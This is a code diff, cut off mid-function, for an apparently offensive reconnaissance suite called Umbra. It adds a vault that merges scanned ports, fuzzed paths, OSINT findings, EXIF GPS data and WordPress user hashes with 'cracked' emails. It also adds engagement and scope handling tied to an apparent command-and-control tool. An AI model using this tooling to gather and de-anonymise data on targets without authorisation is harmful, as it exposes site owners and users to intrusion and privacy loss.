DEFAULT '', + total_orgs INTEGER DEFAULT 0, + total_domains INTEGER DEFAULT 0 + ) + """) + + # 2. Organizations + conn.execute(""" + CREATE TABLE IF NOT EXISTS organizations ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + name TEXT UNIQUE NOT NULL, + country_code TEXT DEFAULT '', + industry TEXT DEFAULT '', + total_domains INTEGER DEFAULT 0, + total_hashes INTEGER DEFAULT 0, + total_cracked INTEGER DEFAULT 0, + FOREIGN KEY (country_code) REFERENCES countries(code) + ) + """) + + # 3. Domains + conn.execute(""" + CREATE TABLE IF NOT EXISTS domains ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + domain TEXT UNIQUE NOT NULL, + org_id INTEGER DEFAULT 0, + is_wordpress INTEGER DEFAULT 0, + wp_version TEXT DEFAULT '', + detection_methods TEXT DEFAULT '', + total_hashes INTEGER DEFAULT 0, + total_cracked INTEGER DEFAULT 0, + first_seen DATETIME DEFAULT CURRENT_TIMESTAMP, + last_seen DATETIME, + FOREIGN KEY (org_id) REFERENCES organizations(id) + ) + """) + + # 4. Hashes + conn.execute(""" + CREATE TABLE IF NOT EXISTS hashes ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + hash TEXT UNIQUE NOT NULL, + domain_id INTEGER DEFAULT 0, + domain TEXT DEFAULT '', + username TEXT DEFAULT '', + display_name TEXT DEFAULT '', + user_id INTEGER DEFAULT 0, + avatar_url TEXT DEFAULT '', + cracked_email TEXT DEFAULT '', + crack_method TEXT DEFAULT '', + first_seen DATETIME DEFAULT CURRENT_TIMESTAMP, + cracked_at DATETIME, + FOREIGN KEY (domain_id) REFERENCES domains(id) + ) + """) + + # 5. Ports (from um-scan) + conn.execute(""" + CREATE TABLE IF NOT EXISTS ports ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + host TEXT NOT NULL, + port INTEGER NOT NULL, + state TEXT DEFAULT 'open', + service TEXT DEFAULT '', + banner TEXT DEFAULT '', + response_ms INTEGER DEFAULT 0, + first_seen DATETIME DEFAULT CURRENT_TIMESTAMP, + UNIQUE(host, port) + ) + """) + + # 6. Intel findings (from um-intel) + conn.execute(""" + CREATE TABLE IF NOT EXISTS intel ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + target TEXT NOT NULL, + source TEXT NOT NULL, + finding_type TEXT NOT NULL, + value TEXT NOT NULL, + extra TEXT DEFAULT '{}', + first_seen DATETIME DEFAULT CURRENT_TIMESTAMP, + UNIQUE(target, source, finding_type, value) + ) + """) + + # 7. API endpoints (from um-api) + conn.execute(""" + CREATE TABLE IF NOT EXISTS api_endpoints ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + target TEXT NOT NULL, + url TEXT NOT NULL, + path TEXT DEFAULT '', + discovery_method TEXT NOT NULL, + status_code INTEGER DEFAULT 0, + description TEXT DEFAULT '', + first_seen DATETIME DEFAULT CURRENT_TIMESTAMP, + UNIQUE(target, url, discovery_method) + ) + """) + + # 8. Fuzz results (from um-fuzz) + conn.execute(""" + CREATE TABLE IF NOT EXISTS fuzz_results ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + base_url TEXT NOT NULL, + path TEXT NOT NULL, + status_code INTEGER NOT NULL, + content_length INTEGER DEFAULT 0, + content_type TEXT DEFAULT '', + redirect_url TEXT DEFAULT '', + first_seen DATETIME DEFAULT CURRENT_TIMESTAMP, + UNIQUE(base_url, path) + ) + """) + + # 9. EXIF data (from um-exif) + conn.execute(""" + CREATE TABLE IF NOT EXISTS exif_data ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + file_path TEXT UNIQUE NOT NULL, + file_name TEXT DEFAULT '', + camera_make TEXT DEFAULT '', + camera_model TEXT DEFAULT '', + datetime_original TEXT DEFAULT '', + gps_coords TEXT DEFAULT '', + artist TEXT DEFAULT '', + copyright TEXT DEFAULT '' + ) + """) + + # 10. Enum findings (from um-enum) + conn.execute(""" + CREATE TABLE IF NOT EXISTS enum_findings ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + domain TEXT NOT NULL, + phase TEXT NOT NULL, + command TEXT NOT NULL, + value TEXT NOT NULL, + url TEXT DEFAULT '', + status_code INTEGER DEFAULT 0, + first_seen DATETIME DEFAULT CURRENT_TIMESTAMP, + UNIQUE(domain, command, value) + ) + """) + + # Indexes + conn.execute("CREATE INDEX IF NOT EXISTS idx_domains_domain ON domains(domain)") + conn.execute("CREATE INDEX IF NOT EXISTS idx_hashes_hash ON hashes(hash)") + conn.execute("CREATE INDEX IF NOT EXISTS idx_hashes_domain ON hashes(domain)") + conn.execute("CREATE INDEX IF NOT EXISTS idx_ports_host ON ports(host)") + conn.execute("CREATE INDEX IF NOT EXISTS idx_intel_target ON intel(target)") + + conn.commit() + return conn + +# ─── Import Functions ───────────────────────────────────────────────────────── +def import_wp_db(vault_conn, wp_db_path): + """Import from um-wp.db.""" + if not os.path.exists(wp_db_path): + return 0 + src = sqlite3.connect(wp_db_path) + src.row_factory = sqlite3.Row + count = 0 + for r in src.execute("SELECT * FROM sites").fetchall(): + vault_conn.execute(""" + INSERT INTO domains (domain, is_wordpress, wp_version, detection_methods, last_seen) + VALUES (?, ?, ?, ?, CURRENT_TIMESTAMP) + ON CONFLICT(domain) DO UPDATE SET + is_wordpress = MAX(is_wordpress, excluded.is_wordpress), + wp_version = CASE WHEN excluded.wp_version != '' THEN excluded.wp_version ELSE wp_version END, + detection_methods = CASE WHEN excluded.detection_methods != '' THEN excluded.detection_methods ELSE detection_methods END, + last_seen = CURRENT_TIMESTAMP + """, (r["domain"], r["is_wordpress"], r["wp_version"], r["detection_methods"])) + count += 1 + vault_conn.commit() + src.close() + return count + +def import_hash_db(vault_conn, hash_db_path): + """Import from um-hash.db.""" + if not os.path.exists(hash_db_path): + return 0 + src = sqlite3.connect(hash_db_path) + src.row_factory = sqlite3.Row + count = 0 + for r in src.execute("SELECT * FROM hashes").fetchall(): + # Ensure domain exists + vault_conn.execute(""" + INSERT OR IGNORE INTO domains (domain) VALUES (?) + """, (r["domain"],)) + + domain_row = vault_conn.execute( + "SELECT id FROM domains WHERE domain=?", (r["domain"],) + ).fetchone() + domain_id = domain_row["id"] if domain_row else 0 + + vault_conn.execute(""" + INSERT INTO hashes (hash, domain_id, domain, username, display_name, + user_id, avatar_url) + VALUES (?, ?, ?, ?, ?, ?, ?) + ON CONFLICT(hash) DO UPDATE SET + domain = CASE WHEN excluded.domain != '' THEN excluded.domain ELSE domain END, + username = CASE WHEN excluded.username != '' THEN excluded.username ELSE username END, + display_name = CASE WHEN excluded.display_name != '' THEN excluded.display_name ELSE display_name END + """, (r["hash"], domain_id, r["domain"], r["username"], + r["display_name"], r["user_id"], r["avatar_url"])) + count += 1 + vault_conn.commit() + src.close() + return count + +def import_crack_db(vault_conn, crack_db_path): + """Import from um-crack.db.""" + if not os.path.exists(crack_db_path): + return 0 + src = sqlite3.connect(crack_db_path) + src.row_factory = sqlite3.Row + count = 0 + for r in src.execute("SELECT * FROM hashes WHERE cracked_email != ''").fetchall(): + vault_conn.execute(""" + UPDATE hashes SET + cracked_email = ?, + crack_method = ?, + cracked_at = ? + WHERE hash = ? AND (cracked_email = '' OR cracked_email IS NULL) + """, (r["cracked_email"], r["crack_method"], r["cracked_at"], r["hash"])) + if vault_conn.execute("SELECT changes()").fetchone()[0] == 0: + # Hash not in vault yet, insert it + vault_conn.execute(""" + INSERT OR IGNORE INTO hashes (hash, domain, username, display_name, + cracked_email, crack_method, cracked_at) + VALUES (?, ?, ?, ?, ?, ?, ?) + """, (r["hash"], r["domain"], r["username"], r["display_name"], + r["cracked_email"], r["crack_method"], r["cracked_at"])) + count += 1 + vault_conn.commit() + src.close() + return count + +def import_scan_db(vault_conn, scan_db_path): + """Import from um-scan.db.""" + if not os.path.exists(scan_db_path): + return 0 + src = sqlite3.connect(scan_db_path) + src.row_factory = sqlite3.Row + count = 0 + for r in src.execute("SELECT * FROM ports WHERE state='open'").fetchall(): + vault_conn.execute(""" + INSERT INTO ports (host, port, state, service, banner, response_ms) + VALUES (?, ?, ?, ?, ?, ?) + ON CONFLICT(host, port) DO UPDATE SET + service = CASE WHEN excluded.service != '' THEN excluded.service ELSE service END, + banner = CASE WHEN excluded.banner != '' THEN excluded.banner ELSE banner END + """, (r["host"], r["port"], r["state"], r["service"], + r["banner"], r["response_ms"])) + count += 1 + vault_conn.commit() + src.close() + return count + +def import_intel_db(vault_conn, intel_db_path): + """Import from um-intel.db.""" + if not os.path.exists(intel_db_path): + return 0 + src = sqlite3.connect(intel_db_path) + src.row_factory = sqlite3.Row + count = 0 + for r in src.execute("SELECT * FROM findings").fetchall(): + vault_conn.execute(""" + INSERT OR IGNORE INTO intel (target, source, finding_type, value, extra) + VALUES (?, ?, ?, ?, ?) + """, (r["target"], r["source"], r["finding_type"], r["value"], r["extra"])) + count += 1 + vault_conn.commit() + src.close() + return count + +def import_api_db(vault_conn, api_db_path): + """Import from um-api.db.""" + if not os.path.exists(api_db_path): + return 0 + src = sqlite3.connect(api_db_path) + src.row_factory = sqlite3.Row + count = 0 + for r in src.execute("SELECT * FROM endpoints").fetchall(): + vault_conn.execute(""" + INSERT OR IGNORE INTO api_endpoints (target, url, path, discovery_method, + status_code, description) + VALUES (?, ?, ?, ?, ?, ?) + """, (r["target"], r["url"], r["path"], r["discovery_method"], + r["status_code"], r["description"])) + count += 1 + vault_conn.commit() + src.close() + return count + +def import_fuzz_db(vault_conn, fuzz_db_path): + """Import from um-fuzz.db.""" + if not os.path.exists(fuzz_db_path): + return 0 + src = sqlite3.connect(fuzz_db_path) + src.row_factory = sqlite3.Row + count = 0 + for r in src.execute("SELECT * FROM results").fetchall(): + vault_conn.execute(""" + INSERT OR IGNORE INTO fuzz_results (base_url, path, status_code, + content_length, content_type, redirect_url) + VALUES (?, ?, ?, ?, ?, ?) + """, (r["base_url"], r["path"], r["status_code"], + r["content_length"], r["content_type"], r["redirect_url"])) + count += 1 + vault_conn.commit() + src.close() + return count + +def import_exif_db(vault_conn, exif_db_path): + """Import from um-exif.db.""" + if not os.path.exists(exif_db_path): + return 0 + src = sqlite3.connect(exif_db_path) + src.row_factory = sqlite3.Row + count = 0 + for r in src.execute("SELECT * FROM images WHERE has_exif=1").fetchall(): + vault_conn.execute(""" + INSERT OR IGNORE INTO exif_data (file_path, file_name, camera_make, + camera_model, datetime_original, gps_coords, artist, copyright) + VALUES (?, ?, ?, ?, ?, ?, ?, ?) + """, (r["file_path"], r["file_name"], r["camera_make"], r["camera_model"], + r["datetime_original"], r["gps_coords"], r["artist"], r["copyright"])) + count += 1 + vault_conn.commit() + src.close() + return count + +def import_enum_db(vault_conn, enum_db_path): + """Import from um-enum.db.""" + if not os.path.exists(enum_db_path): + return 0 + src = sqlite3.connect(enum_db_path) + src.row_factory = sqlite3.Row + count = 0 + for r in src.execute("SELECT * FROM findings").fetchall(): + vault_conn.execute(""" + INSERT OR IGNORE INTO enum_findings (domain, phase, command, value, url, status_code) + VALUES (?, ?, ?, ?, ?, ?) + """, (r["domain"], r["phase"], r["command"], r["value"], + r["url"], r["status_code"])) + count += 1 + vault_conn.commit() + src.close() + return count + +# Map tool prefixes to import functions +IMPORT_MAP = { + "um-wp": import_wp_db, + "um-hash": import_hash_db, + "um-crack": import_crack_db, + "um-scan": import_scan_db, + "um-intel": import_intel_db, + "um-api": import_api_db, + "um-fuzz": import_fuzz_db, + "um-exif": import_exif_db, + "um-enum": import_enum_db, +} + +def detect_db_type(path): + """Detect which Umbra tool created a .db file.""" + basename = os.path.basename(path).lower() + for prefix in IMPORT_MAP: + if basename.startswith(prefix): + return prefix + # Try detecting by table names + try: + conn = sqlite3.connect(path) + tables = [r[0] for r in conn.execute( + "SELECT name FROM sqlite_master WHERE type='table'" + ).fetchall()] + conn.close() + if "sites" in tables and "hashes" not in tables: + return "um-wp" + if "hashes" in tables and "sites" in tables: + return "um-hash" + if "hashes" in tables and "sites" not in tables: + return "um-crack" + if "ports" in tables: + return "um-scan" + if "findings" in tables and "targets" in tables: + # Could be intel or enum — check columns + try: + conn = sqlite3.connect(path) + cols = [r[1] for r in conn.execute("PRAGMA table_info(findings)").fetchall()] + conn.close() + if "source" in cols: + return "um-intel" + if "phase" in cols: + return "um-enum" + except Exception: + pass + if "endpoints" in tables: + return "um-api" + if "results" in tables: + return "um-fuzz" + if "images" in tables: + return "um-exif" + except Exception: + pass + return None + +# ─── Dashboard TUI ─────────────────────────────────────────────────────────── +console = Console() +from um_tui import UmbraTUI +from um_ops import (create_engagement, get_engagement_db_path, list_engagements, + generate_engagement_summary, op_log, op_log_csv, get_ops_hook) + +MENU_ITEMS = [ + ("1", "Import a tool database"), + ("2", "Import all (auto-detect)"), + ("3", "Merge from directory"), + ("4", "Dashboard / statistics"), + ("5", "Run SQL query"), + ("6", "Export table to CSV"), + ("7", "Create engagement"), + ("8", "Switch engagement"), + ("9", "Engagement summary"), + ("Q", "Quit"), +] + +VAULT_INFO = [ + "10-table relational schema", + "Auto-detect DB type", + "Import from all Umbra tools", + "Custom SQL queries", + "Per-table CSV export", +] + +def get_db_stats(conn): + try: + tables_counts = [] + for tbl in ["domains", "hashes", "ports", "intel", "api_endpoints", + "fuzz_results", "exif_data", "enum_findings"]: + try: + c = conn.execute(f'SELECT COUNT(*) FROM "{tbl}"').fetchone()[0] + if c > 0: + tables_counts.append(f"{tbl}:{c:,}") + except Exception: + pass + return " | ".join(tables_counts) if tables_counts else "Vault: empty" + except Exception: + return "Vault: empty" + +def show_dashboard(conn): + """Show comprehensive statistics dashboard.""" + stats = {} + + tables = { + "domains": "Domains", + "hashes": "Hashes", + "ports": "Open Ports", + "intel": "Intel Findings", + "api_endpoints": "API Endpoints", + "fuzz_results": "Fuzz Results", + "exif_data": "EXIF Images", + "enum_findings": "Enum Findings", + "countries": "Countries", + "organizations": "Organizations", + } + + for table, label in tables.items(): + try: + count = conn.execute(f'SELECT COUNT(*) FROM "{table}"').fetchone()[0] + stats[label] = count + except Exception: + stats[label] = 0 + + # Main stats table + main_table = Table(box=box.HEAVY, border_style=THEME_COLOR, + title=f"[bold {THEME_COLOR}]Umbra Vault — Master Database[/]") + main_table.add_column("Table", style="bold", width=20) + main_table.add_column("Records", justify="right", style="cyan", width=12) + + for label, count in stats.items(): + style = "[green]" if count > 0 else "[dim]" + main_table.add_row(label, f"{style}{count:,}[/]") + + console.print(main_table) + + # Domain breakdown + try: + wp_count = conn.execute("SELECT COUNT(*) FROM domains WHERE is_wordpress=1").fetchone()[0] + total_domains = stats.get("Domains", 0) + if total_domains: + console.print(f"\n[green]WordPress: {wp_count}/{total_domains} ({wp_count/total_domains*100:.1f}%)[/]") + except Exception: + pass + + # Hash breakdown + try: + total_hashes = stats.get("Hashes", 0) + cracked = conn.execute("SELECT COUNT(*) FROM hashes WHERE cracked_email != ''").fetchone()[0] + if total_hashes: + console.print(f"[green]Cracked: {cracked}/{total_hashes} ({cracked/total_hashes*100:.1f}%)[/]") + except Exception: + pass + + # Top services + try: + top_services = conn.execute(""" + SELECT service, COUNT(*) as cnt FROM ports + GROUP BY service ORDER BY cnt DESC LIMIT 5 + """).fetchall() + if top_services: + svc_table = Table(box=box.ROUNDED, border_style=THEME_COLOR, + title=f"[{THEME_COLOR}]Top Services[/]") + svc_table.add_column("Service", style="cyan") + svc_table.add_column("Count", justify="right") + for s in top_services: + svc_table.add_row(s["service"], str(s["cnt"])) + console.print(svc_table) + except Exception: + pass + + # Top intel sources + try: + top_sources = conn.execute(""" + SELECT source, COUNT(*) as cnt FROM intel + GROUP BY source ORDER BY cnt DESC LIMIT 5 + """).fetchall() + if top_sources: + src_table = Table(box=box.ROUNDED, border_style=THEME_COLOR, + title=f"[{THEME_COLOR}]Top Intel Sources[/]") + src_table.add_column("Source", style="yellow") + src_table.add_column("Count", justify="right") + for s in top_sources: + src_table.add_row(s["source"], str(s["cnt"])) + console.print(src_table) + except Exception: + pass + +def export_table_csv(conn, table_name, output): + """Export a specific table to CSV.""" + try: + cursor = conn.execute(f'SELECT * FROM "{table_name}"') + rows = cursor.fetchall() + cols = [d[0] for d in cursor.description] + with open(output, "w", newline="") as f: + writer = csv.writer(f) + writer.writerow(cols) + for r in rows: + writer.writerow(list(r)) + console.print(f"[green]Exported {len(rows)} rows from {table_name} to {output}[/]") + except Exception as e: + console.print(f"[red]Export error: {e}[/]") + +# ─── CLI ────────────────────────────────────────────────────────────────────── +@click.group(invoke_without_command=True) +@click.option("--db", default="um-vault.db", help="Vault database path") +@click.option("--engagement", "-E", default=None, help="Engagement name for organized output") +@click.pass_context +def cli(ctx, db, engagement): + """Umbra Vault — Master database aggregator for all Umbra tools.""" + ctx.ensure_object(dict) + # Env var fallback + engagement = engagement or os.environ.get("UMBRA_ENGAGEMENT", "") + if engagement: + create_engagement(engagement) + db = get_engagement_db_path(engagement, TOOL_NAME) + ctx.obj["db"] = db + ctx.obj["engagement"] = engagement + # Ops hook + hook = get_ops_hook(TOOL_NAME, engagement) + ctx.obj["hook"] = hook + if hook: + hook.register() + if ctx.invoked_subcommand is None: + interactive_menu(ctx) + +@cli.command("import") +@click.argument("source") +@click.option("--type", "db_type", default=None, + help="Database type (um-wp, um-hash, um-crack, um-scan, um-intel, um-api, um-fuzz, um-exif, um-enum)") +@click.pass_context +def import_cmd(ctx, source, db_type): + """Import an Umbra tool database into the vault.""" + conn = init_db(ctx.obj["db"]) + + if not db_type: + db_type = detect_db_type(source) + if not db_type: + console.print(f"[red]Cannot detect database type for {source}. Use --type to specify.[/]") + conn.close() + return + + if db_type not in IMPORT_MAP: + console.print(f"[red]Unknown type: {db_type}[/]") + conn.close() + return + + import_fn = IMPORT_MAP[db_type] + count = import_fn(conn, source) + console.print(f"[green]Imported {count} records from {source} ({db_type})[/]") + show_dashboard(conn) + conn.close() + +@cli.command() +@click.argument("directory") +@click.pass_context +def merge(ctx, directory): + """Merge all .db files from a directory into the vault.""" + conn = init_db(ctx.obj["db"]) + + db_files = glob.glob(os.path.join(directory, "*.db")) + if not db_files: + console.print(f"[red]No .db files found in {directory}[/]") + conn.close() + return + + total_imported = 0 + for db_path in sorted(db_files): + if os.path.basename(db_path) == os.path.basename(ctx.obj["db"]): + continue # Skip vault itself + + db_type = detect_db_type(db_path) + if db_type and db_type in IMPORT_MAP: + import_fn = IMPORT_MAP[db_type] + count = import_fn(conn, db_path) + console.print(f"[dim] {os.path.basename(db_path)} ({db_type}): {count} records[/]") + total_imported += count + else: + console.print(f"[yellow] {os.path.basename(db_path)}: unknown type, skipped[/]") + + console.print(f"\n[green]Total imported: {total_imported} records from {len(db_files)} files[/]") + show_dashboard(conn) + conn.close() + +@cli.command("import-all") +@click.pass_context +def import_all(ctx): + """Auto-import all Umbra .db files from current directory.""" + conn = init_db(ctx.obj["db"]) + + default_files = { + "um-wp": "um-wp.db", + "um-hash": "um-hash.db", + "um-crack": "um-crack.db", + "um-scan": "um-scan.db", + "um-intel": "um-intel.db", + "um-api": "um-api.db", + "um-fuzz": "um-fuzz.db", + "um-exif": "um-exif.db", + "um-enum": "um-enum.db", + } + + total = 0 + for db_type, filename in default_files.items(): + if os.path.exists(filename): + import_fn = IMPORT_MAP[db_type] + count = import_fn(conn, filename) + console.print(f"[green] {filename}: {count} records[/]") + total += count + else: + console.print(f"[dim] {filename}: not found[/]") + + console.print(f"\n[green]Total: {total} records imported[/]") + show_dashboard(conn) + conn.close() + +@cli.command() +@click.pass_context +def dashboard(ctx): + """Show the statistics dashboard.""" + conn = init_db(ctx.obj["db"]) + show_dashboard(conn) + conn.close() + +@cli.command() +@click.argument("table_name") +@click.option("-o", "--output", default=None) +@click.pass_context +def export(ctx, table_name, output): + """Export a vault table to CSV.""" + conn = init_db(ctx.obj["db"]) + if not output: + output = f"um-vault-{table_name}.csv" + export_table_csv(conn, table_name, output) + conn.close() + +@cli.command() +@click.argument("sql_query") +@click.pass_context +def query(ctx, sql_query): + """Run a custom SQL query on the vault.""" + conn = init_db(ctx.obj["db"]) + try: + cursor = conn.execute(sql_query) + rows = cursor.fetchall() + if rows: + cols = [d[0] for d in cursor.description] + table = Table(box=box.ROUNDED, border_style=THEME_COLOR) + for col in cols: + table.add_column(col, style="cyan") + for r in rows[:100]: + table.add_row(*[str(v)[:50] for v in r]) + console.print(table) + console.print(f"[dim]{len(rows)} rows[/]") + else: + console.print("[dim]No results.[/]") + except Exception as e: + console.print(f"[red]Query error: {e}[/]") + conn.close() + +# ─── Interactive Menu ───────────────────────────────────────────────────────── +def interactive_menu(ctx): + conn = init_db(ctx.obj["db"]) + + def action_handler(key, tui): + if key == "1": + def on_source(source): + if os.path.exists(source): + db_type = detect_db_type(source) + if db_type: + tui.log(f"[*] Detected type: {db_type}") + import_fn = IMPORT_MAP[db_type] + count = import_fn(conn, source) + tui.log(f"[+] Imported {count} records from {source}") + else: + tui.log(f"[!] Cannot detect database type for {source}") + else: + tui.log(f"[!] File not found: {source}") + tui.prompt("Database file path", on_source) + + elif key == "2": + default_files = { + "um-wp": "um-wp.db", "um-hash": "um-hash.db", + "um-crack": "um-crack.db", "um-scan": "um-scan.db", + "um-intel": "um-intel.db", "um-api": "um-api.db", + "um-fuzz": "um-fuzz.db", "um-exif": "um-exif.db", + "um-enum": "um-enum.db", + } + total = 0 + for db_type, filename in default_files.items(): + if os.path.exists(filename): + count = IMPORT_MAP[db_type](conn, filename) + tui.log(f"[+] {filename}: {count} records") + total += count + else: + tui.log(f"[-] {filename}: not found") + tui.log(f"[*] Total imported: {total} records") + + elif key == "3": + def on_dir(directory): + db_files = glob.glob(os.path.join(directory, "*.db")) + if not db_files: + tui.log(f"[!] No .db files found in {directory}") + return + for db_path in db_files: + db_type = detect_db_type(db_path) + if db_type and db_type in IMPORT_MAP: + count = IMPORT_MAP[db_type](conn, db_path) + tui.log(f"[+] {os.path.basename(db_path)}: {count} records") + else: + tui.log(f"[-] {os.path.basename(db_path)}: unknown type, skipped") + tui.prompt("Directory path", on_dir) + + elif key == "4": + # Build dashboard as a Rich table for VIEW mode + stats = {} + tables_map = { + "domains": "Domains", "hashes": "Hashes", + "ports": "Open Ports", "intel": "Intel Findings", + "api_endpoints": "API Endpoints", "fuzz_results": "Fuzz Results", + "exif_data": "EXIF Images", "enum_findings": "Enum Findings", + "countries": "Countries", "organizations": "Organizations", + } + for table, label in tables_map.items(): + try: + count = conn.execute(f'SELECT COUNT(*) FROM "{table}"').fetchone()[0] + stats[label] = count + except Exception: + stats[label] = 0 + t = Table(box=box.HEAVY, border_style=THEME_COLOR, + title=f"[bold {THEME_COLOR}]Umbra Vault \u2014 Master Database[/]") + t.add_column("Table", style="bold", width=20) + t.add_column("Records", justify="right", style="cyan", width=12) + for label, count in stats.items(): + style = "[green]" if count > 0 else "[dim]" + t.add_row(label, f"{style}{count:,}[/]") + tui.show_table(t) + + elif key == "5": + def on_sql(sql): + try: + cursor = conn.execute(sql) + rows = cursor.fetchall() + if rows: + cols = [d[0] for d in cursor.description] + t = Table(box=box.ROUNDED, border_style=THEME_COLOR) + for col in cols: + t.add_column(col) + for r in rows[:50]: + t.add_row(*[str(v)[:40] for v in r]) + tui.log(f"[*] Query returned {len(rows)} rows") + tui.show_table(t) + else: + tui.log("[-] No results.") + except Exception as e: + tui.log(f"[!] Query error: {e}") + tui.prompt("SQL", on_sql) + + elif key == "6": + def on_table(tname): + def on_file(out): + export_table_csv(conn, tname, out) + tui.log(f"[+] Exported {tname} to {out}") + tui.prompt("Output file", on_file, default=f"um-vault-{tname}.csv") + tui.prompt("Table name", on_table) + + elif key == "7": + def on_name(name): + from um_ops import create_engagement + eng_dir = create_engagement(name) + tui.log(f"[+] Engagement created: {name}") + tui.log(f" Path: {eng_dir}") + tui.log(f" Edit scope: {eng_dir}/scope.txt") + tui.prompt("Engagement name", on_name) + + elif key == "8": + engagements = list_engagements() + if not engagements: + tui.log("[!] No engagements found. Create one first.") + else: + for i, eng in enumerate(engagements, 1): + tui.log(f" {i}) {eng}") + def on_choice(choice): + try: + idx = int(choice) - 1 + if 0 <= idx < len(engagements): + eng_name = engagements[idx] + new_db = get_engagement_db_path(eng_name, TOOL_NAME) + nonlocal conn + conn.close() + conn = init_db(new_db) + tui.engagement = eng_name + ctx.obj["engagement"] = eng_name + tui.log(f"[+] Switched to engagement: {eng_name}") + else: + tui.log("[!] Invalid selection") + except ValueError: + tui.log("[!] Enter a number") + tui.prompt("Select engagement #", on_choice) + + elif key == "9": + eng = ctx.obj.get("engagement") + if not eng: + tui.log("[!] No engagement active. Use --engagement or switch first.") + else: + summary = generate_engagement_summary(eng) + tui.log(summary) + + tui = UmbraTUI( + tool_name=TOOL_NAME, + version=VERSION, + menu_items=MENU_ITEMS, + info_items=VAULT_INFO, + action_handler=action_handler, + stats_fn=lambda: get_db_stats(conn), + theme=THEME_COLOR, + engagement=ctx.obj.get("engagement"), + ) + tui.run() + conn.close() + +if __name__ == "__main__": + cli() diff --git a/tools/umbra/um_ops.py b/tools/umbra/um_ops.py new file mode 100644 index 0000000..455a92d --- /dev/null +++ b/tools/umbra/um_ops.py @@ -0,0 +1,495 @@ +"""um_ops.py — Engagement management, scope enforcement, operational logging, +and cross-tool import utilities for the Umbra reconnaissance suite. +""" + +import atexit +import csv +import fcntl +import ipaddress +import json +import os +import re +import sqlite3 +import sys +import time +from datetime import datetime +from fnmatch import fnmatch + +# ─── Paths ─────────────────────────────────────────────────────────────────── +UMBRA_HOME = os.path.expanduser("~/.umbra") +ENGAGEMENTS_DIR = os.path.join(UMBRA_HOME, "engagements") + +# Sub-directories created per engagement +ENGAGEMENT_SUBDIRS = [ + "targets", "scans", "api", "intel", "enum", "fuzz", + "hashes", "wordpress", "cracking", "exif", "exports", +] + +# Tool name → engagement subdirectory mapping +TOOL_DIR_MAP = { + "um-scan": "scans", + "um-api": "api", + "um-intel": "intel", + "um-enum": "enum", + "um-fuzz": "fuzz", + "um-hash": "hashes", + "um-wp": "wordpress", + "um-crack": "cracking", + "um-exif": "exif", + "um-vault": ".", +} + +# ─── Ops Hook Bridge ──────────────────────────────────────────────────────── + +_ops_hook_cls = None + +def get_ops_hook(tool_name, engagement=None): + """Return an OpsHook instance (auto-imports from c2itall). Returns None if unavailable. + + Registers an atexit handler to call hook.complete() on clean exit. + """ + global _ops_hook_cls + engagement = engagement or os.environ.get("UMBRA_ENGAGEMENT", "") + if not engagement: + return None + if _ops_hook_cls is None: + try: + c2_path = os.path.expanduser("~/tools/c2itall") + if c2_path not in sys.path: + sys.path.insert(0, c2_path) + from utils.ops_hook import OpsHook + _ops_hook_cls = OpsHook + except ImportError: + _ops_hook_cls = False # sentinel: tried and failed + if _ops_hook_cls is False: + return None + hook = _ops_hook_cls(tool_name, engagement) + atexit.register(lambda h=hook: _safe_complete(h)) + return hook + + +def _safe_complete(hook): + """atexit callback — mark tool completed if it's still running.""" + try: + if hook and hook.active: + hook.complete() + except Exception: + pass + + +# ─── Engagement Management ─────────────────────────────────────────────────── + +def create_engagement(name): + """Create engagement directory structure. Idempotent — safe to call multiple times. + + Returns the engagement root path. + """ + name = name.strip().replace(" ", "_") + eng_dir = os.path.join(ENGAGEMENTS_DIR, name) + os.makedirs(eng_dir, exist_ok=True) + + # Core files + scope_file = os.path.join(eng_dir, "scope.txt") + if not os.path.exists(scope_file): + with open(scope_file, "w") as f: + f.write("# Scope file — one target per line\n") + f.write("# Supported: CIDR (10.0.0.0/24), IP ranges (10.0.0.1-10), single IPs, FQDNs, *.wildcard\n") + + log_file = os.path.join(eng_dir, "umbra.log") + if not os.path.exists(log_file): + with open(log_file, "w") as f: + f.write(f"# Umbra engagement log — {name}\n") + f.write(f"# Created: {datetime.now().isoformat()}\n\n") + + csv_file = os.path.join(eng_dir, "command_log.csv") + if not os.path.exists(csv_file): + with open(csv_file, "w", newline="") as f: + writer = csv.writer(f) + writer.writerow(["timestamp", "tool", "action", "target", "result"]) + + # Sub-directories + for subdir in ENGAGEMENT_SUBDIRS: + os.makedirs(os.path.join(eng_dir, subdir), exist_ok=True) + + return eng_dir + + +def list_engagements(): + """Return a sorted list of engagement names.""" + if not os.path.isdir(ENGAGEMENTS_DIR): + return [] + return sorted( + d for d in os.listdir(ENGAGEMENTS_DIR) + if os.path.isdir(os.path.join(ENGAGEMENTS_DIR, d)) + ) + + +def get_engagement_dir(name): + """Return the engagement root directory (creates if needed).""" + return create_engagement(name) + + +def get_tool_output_dir(engagement, tool_name): + """Return the tool-specific subdirectory inside an engagement.""" + eng_dir = get_engagement_dir(engagement) + subdir = TOOL_DIR_MAP.get(tool_name, "exports") + path = os.path.join(eng_dir, subdir) + os.makedirs(path, exist_ok=True) + return path + + +def get_engagement_db_path(engagement, tool_name): + """Return the path for a tool's database inside an engagement.""" + tool_dir = get_tool_output_dir(engagement, tool_name) + return os.path.join(tool_dir, f"{tool_name}.db") + + +# ─── Scope Enforcement ────────────────────────────────────────────────────── + +def load_scope(file_path): + """Parse a scope file and return a list of scope entries. + + Supported formats: + - CIDR: 10.0.0.0/24 + - IP range: 10.0.0.1-10 (expands last octet) + - Single IP: 10.0.0.1 + - FQDN: example.com + - Wildcard: *.example.com + - Comment lines start with # + """ + scope = [] + file_path = os.path.expanduser(file_path) + if not os.path.exists(file_path): + return scope + + with open(file_path) as f: + for raw_line in f: + line = raw_line.strip() + if not line or line.startswith("#"): + continue + scope.append(line) + return scope + + +def _is_ip(s): + """Check if string looks like an IP address.""" + try: + ipaddress.ip_address(s) + return True + except ValueError: + return False + + +def _match_cidr(target_ip, cidr): + """Check if an IP is within a CIDR range.""" + try: + return ipaddress.ip_address(target_ip) in ipaddress.ip_network(cidr, strict=False) + except ValueError: + return False + + +def _match_ip_range(target_ip, range_str): + """Match an IP range like 10.0.0.1-10.""" + m = 